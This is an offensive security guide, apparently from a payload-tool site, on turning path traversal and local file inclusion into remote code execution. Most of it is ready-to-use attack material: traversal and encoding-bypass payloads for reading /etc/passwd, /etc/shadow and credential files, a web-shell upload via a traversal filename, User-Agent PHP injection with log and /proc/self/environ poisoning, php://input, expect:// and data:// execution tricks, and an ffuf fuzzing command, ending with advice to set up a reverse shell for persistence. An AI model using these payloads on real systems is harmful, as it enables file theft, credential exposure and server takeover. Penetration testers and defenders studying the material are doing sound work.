Path Traversal and LFI: From File Read to Remote Code Execution
Path traversal and Local File Inclusion (LFI) vulnerabilities allow attackers to read arbitrary files from the server filesystem — and with the right conditions, escalate to full Remote Code Execution (RCE). This guide covers the complete exploitation path from initial detection through RCE.
Basic Path Traversal
| OS | Basic Payload | Encoded Bypass | Target File | Difficulty |
|---|---|---|---|---|
| Linux | ../../../etc/passwd | ..%2F..%2F..%2Fetc%2Fpasswd | /etc/passwd, /etc/shadow | Easy |
| Linux | ....//....//etc/passwd | Double-dot slash bypass | /proc/self/environ | Medium |
| Windows | ......windowssystem32driversetchosts | ..%5C..%5C | C:Windowswin.ini | Easy |
| Windows | ..%252f..%252f..%252f | Double URL encode | C:inetpubwwwrootweb.config | Medium |
| PHP wrappers | php://filter/convert.base64-encode/resource=index.php | N/A | Source code disclosure | Medium |
| Java | WEB-INF/web.xml | WEB-INF%2Fweb.xml | Application config | Easy |
| Zip Slip | ../../../etc/cron.d/evil in zip | N/A | Arbitrary file write | Hard |
The classic path traversal attempts to escape the application's intended directory by using ../ sequences:
# Linux targets:
https://target.com/download?file=../../../etc/passwd
https://target.com/view?page=../../../etc/shadow
https://target.com/image?src=../../../proc/self/environ
# Windows targets:
https://target.com/download?file=..\..\..\..\windows\win.ini
https://target.com/view?file=..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
Start with /etc/passwd on Linux as a reliable indicator file — it is always world-readable and its format is immediately recognizable in the response.
URL Encoding Bypass
Applications often filter literal ../ sequences. Encoding bypasses this:
# Single URL encoding:
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
# Double URL encoding (for WAFs that decode once then filter):
%252e%252e%252f → (decoded to %2e%2e%2f) → ../
# Mixed encoding:
%2e%2e%5c → ..\ (Windows backslash)
..%255c → ..\ (double-encoded backslash)
Use the Encoding Pipeline to quickly generate all encoding variants of a traversal payload.
Double Encoding
When the application or WAF performs URL decoding before filtering, double encoding can slip past defenses:
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
The first decode pass produces %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd, which then gets decoded by the OS or subsequent processing to ../../../etc/passwd.
Null Byte Injection
In PHP (versions prior to 5.3.4) and some C-based applications, a null byte (%00) terminates a string. If the application appends a file extension to your input, a null byte truncates it:
# Application code: include($_GET['page'] . '.php');
# Your input: ../../../etc/passwd%00
# Result: includes /etc/passwd (the .php is ignored after null byte)
This technique is now less relevant in modern PHP but remains valid for legacy applications and some compiled server-side components.
Path Traversal via File Upload
If an application allows file uploads and uses the original filename for storage, a traversal in the filename can write files to arbitrary directories:
# Filename in multipart upload:
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Test both forward and backward slashes. URL-encoded variants may be needed depending on how the server processes filenames. A successful upload to the webroot provides direct web-accessible file execution.
LFI to RCE via /proc/self/environ
If LFI is confirmed and /proc/self/environ is readable, you can achieve RCE by injecting PHP code into an environment variable and including the file:
# Step 1: Inject PHP code via User-Agent header:
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
# Step 2: Include /proc/self/environ to trigger execution:
https://target.com/index.php?page=../../../proc/self/environ&cmd=id
The User-Agent value is stored in the HTTP_USER_AGENT environment variable, which is included in /proc/self/environ. When PHP includes this file, it parses and executes the embedded PHP code.
Apache Access Log Poisoning
A reliable LFI-to-RCE path that works when /proc/self/environ is not readable:
# Step 1: Poison the access log by injecting PHP code into the User-Agent:
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
# Step 2: Include the Apache access log:
https://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=whoami
# Common log paths to try:
../../../var/log/apache2/access.log
../../../var/log/apache/access.log
../../../var/log/httpd/access_log
../../../proc/self/fd/1
../../../proc/self/fd/2
PHP Wrappers for LFI
PHP's stream wrappers provide powerful LFI escalation techniques even without a path traversal:
# php://filter - Read PHP source without execution:
https://target.com/?page=php://filter/convert.base64-encode/resource=index.php
# Decode the base64 response to read PHP source code (including credentials)
# php://input - Execute POST data as PHP (requires allow_url_include=On):
POST /?page=php://input
<?php system('id'); ?>
# expect:// - Direct command execution via expect module:
https://target.com/?page=expect://id
# data:// - Inline code execution (requires allow_url_include=On):
https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
The php://filter wrapper is particularly valuable because it requires no special PHP configuration — it works on any PHP application with LFI. Use it to read configuration files containing database credentials.
Windows-Specific Path Traversal
# Windows path traversal patterns:
..\..\..\..\windows\win.ini
..%5c..%5c..%5c..%5cwindows%5cwin.ini
..%255c..%255c..%255c..%255cwindows%255cwin.ini
# Windows sensitive files:
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\\xampp\apache\conf\httpd.conf
C:\windows\system32\config\sam (may require SYSTEM privileges)
Wordlists and Automation
Automate LFI discovery with:
ffuf -u "https://target.com/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0 -t 50
Use the LFI Payload Generator to create targeted wordlists for specific operating systems and configurations. For encoding your path traversal payloads, use the Encoding Pipeline. After achieving RCE, establish persistence with a generated reverse shell from the Reverse Shell Generator.
Testing for Path Traversal Systematically
A structured approach to path traversal testing improves both coverage and efficiency. Start with the most common parameter names used for file operations: file, path, page, include, doc, filename, template, load, read, and view. Then examine URL path segments — an application serving /files/report.pdf may construct the disk path directly from that segment.
Test encoding variations in order: plain traversal, then single URL encoding, double encoding, null byte variants, and Unicode normalization. Document every change in response status code, response size, and error message content — even a slight difference indicates the application is processing the traversal differently and a variation may succeed.
Chaining Path Traversal with SSRF
Some applications expose file serving parameters that also accept URL schemes. If you find a path traversal in a URL-accepting parameter, test whether file:///etc/passwd is accepted. Conversely, if you already have SSRF confirmed, try file:///etc/passwd and file:///proc/self/environ to read local files directly. This overlap makes path traversal and SSRF complementary findings that often appear together on the same attack surface. See our Advanced SSRF guide for cloud metadata access and internal service pivoting once local file read is established.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides